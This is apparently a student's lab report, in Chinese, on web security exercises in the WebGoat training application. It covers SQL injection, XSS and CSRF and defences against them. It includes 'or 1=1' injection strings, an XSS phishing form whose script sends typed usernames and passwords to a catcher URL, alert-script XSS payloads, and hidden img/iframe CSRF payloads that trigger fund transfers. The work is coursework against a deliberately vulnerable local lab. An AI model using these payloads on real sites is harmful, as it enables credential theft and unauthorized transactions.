• 2019-2020-2 20174325叶竞蔚《网络对抗技术》Exp9 Web安全基础


    实验目标

    做不少于7个题目

    基础问题

    <i>SQL注入攻击原理,如何防御

    指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。

    1.对输入的数据进行过滤,过滤掉敏感字符。加密数据库

    2.在PHP配置文件中Register_globals=off;设置为关闭状态,作用将注册全局变量关闭

    3.提高数据库命名技巧,对于一些重要的字段根据程序的特点命名

    4.开启PHP安全模式

    5.采取辅助软件或网站平台来检测sql注入

    <ii>XSS攻击的原理,如何防御

    攻击者利用网站漏洞,输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。

    1.在服务器段限制输入格式,输入类型,输入长度以及输入字符

    2.要注意避免使用一些有潜在危险的html标签,这些标签很容易嵌入一些恶意网页代码

    3.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤

    <iii>CSRF攻击原理,如何防御

    CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。

    用户在浏览其它站点前登出站点;在浏览器会话结束后清理浏览器的cookie;尽量不要在页面的链接中暴露用户隐私信息;避免全站通用的cookie,严格设置cookie的域。

    实验内容

    1.wegoat安装

    <i>进入网站https://github.com/WebGoat/WebGoat/releases/tag/7.0.1下载webgoat

    <ii>kali输入netstat -tupln | grep 8080查看WebGoat默认使用8080端口是否被占用

    <iii>输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat

    <iv>浏览器访问localhost:8080/WebGoat

    <v>下载jdk文件并解压,具体参考https://www.jianshu.com/p/9ec7838411c8

    <vi>重启webgoat,发现有了菜单栏

    2.SQL注入攻击(命令)

    <i>在菜单栏选择 Injection Flaws-->Command Injection,右键选择Inspect Element审查网页元素对源代码option进行修改

    <ii>查看网络端口使用情况和IP地址

    3.Numeric SQL Injection

    <i>在菜单栏选择 Injection Flaws-->Numeric SQL Injection,右键选择Inspect Element审查网页元素对源代码option进行修改,在选中的城市编号value="101"后添加or 1=1

    <ii>选择columbia,单击GO,查看天气

    4.string SQL Injection(字符串型注入)

    <i>使用提前闭合,插入永真式1=1

    <ii>输入yb' or 1=1--select查询表里面的所有数据

    5.Phishing with XSS (跨站脚本钓鱼攻击)

    <i>创建一个form要求填写用户名和密码将数据再提交到黑客

    <head>
    <body>
    <div>
    <div style="float:left;height:100px;50%;background-color:green;"></div>
    <div style="float:left;height:100px;50%;background-color:red;"></div>
    </div>
    <div style="background-color:blue;height:200px;clear:both;"></div>

    </div></div>
    </form>
    <script>
    function hack(){
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    }
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
    <H2>This feature requires account login:</H2>
    <br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    </body>
    </head>

    输入完成后点击Search按钮执行,结果会出现两个输入框,分别名为Enter Username和Enter Password。所以钓鱼就是在这俩输入框里输入的信息都会被钓走,被人窃取。

    6.存储型XSS攻击(Stored XSS Attacks)

    <i>输入<script>alert("You've been attacked!20174325aliengirlyz");</script>,攻击成功。

    7.反射型XSS攻击(Reflected XSS Attacks)

    <i>在Enter your three digit access code中输入代码<script>alert("You've been attacked!!20174325aliengirlyz");</script>,点击purchase的同时页面就给出了反馈

    8.跨站请求伪造(Cross Site Request Forgery (CSRF))

    <i>查看Parameters中的src和menu值

    <ii>在title中输入参数20174325

    <iii>message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=496&menu=900&transferFunds=5000" width="1" height="1" />以图片的的形式将URL放进Message框,设置高度和宽度的目的是为了隐藏该图片,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

    <iv>在Message List中生成链接20174325

    当前页面下载并显示此消息,转走用户的5000元,从而达到CSRF攻击的目的。

    9.绕过 CSRF 确认( CSRF Prompt By‐Pass)

    <i>查看Parameters中的src和menu值

    <ii>title输入20174325

    <iii>message输入

    <iframe src="attack?Screen=531&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=531&menu=900&transferFunds=CONFIRM"> </iframe>

    <iv>进入massage list生成的链接20174325

    攻击成功。

    实验体会

    这是本学期的最后一次实验,因为家里的一些原因所以回了老家也因此晚交了实验,但此次实验的体会不光就实验吧,这学期对于网络对抗课程的学习,让我对于网络上的一些操作和了解更加深入了,原来以前一直觉得很复杂的事情操作起来这么简单,原来以前一直觉得不可能的事情也这么轻易,对于以后生活中的安全防范意识也有了更大的提升,总的来说,这学期的网络对抗学习对我而言收获颇丰。

  • 相关阅读:
    PHP中利用jQuery操作json格式数据,实现$_POST的数据传输和接收
    如何快速掌握一门技术【婴儿最强学习回头看一看】
    显示桌面.scf
    注册表数据库
    win10home_fixgpedit.msc
    Eclipse 中 jetty 调试模式(debug)正常启动无法访问;非调试模式正常
    svn中的与资源库同步操作 讲解
    windows下二进制mysql的卸载以及安装教程
    mysql服务正在启动或停止中请稍后片刻再试一次,服务强制杀死的方法
    Eclipse中git检出、更新、提交、合并分支、以及解决冲突
  • 原文地址:https://www.cnblogs.com/lovelonglive7/p/13028776.html
Copyright © 2020-2023  润新知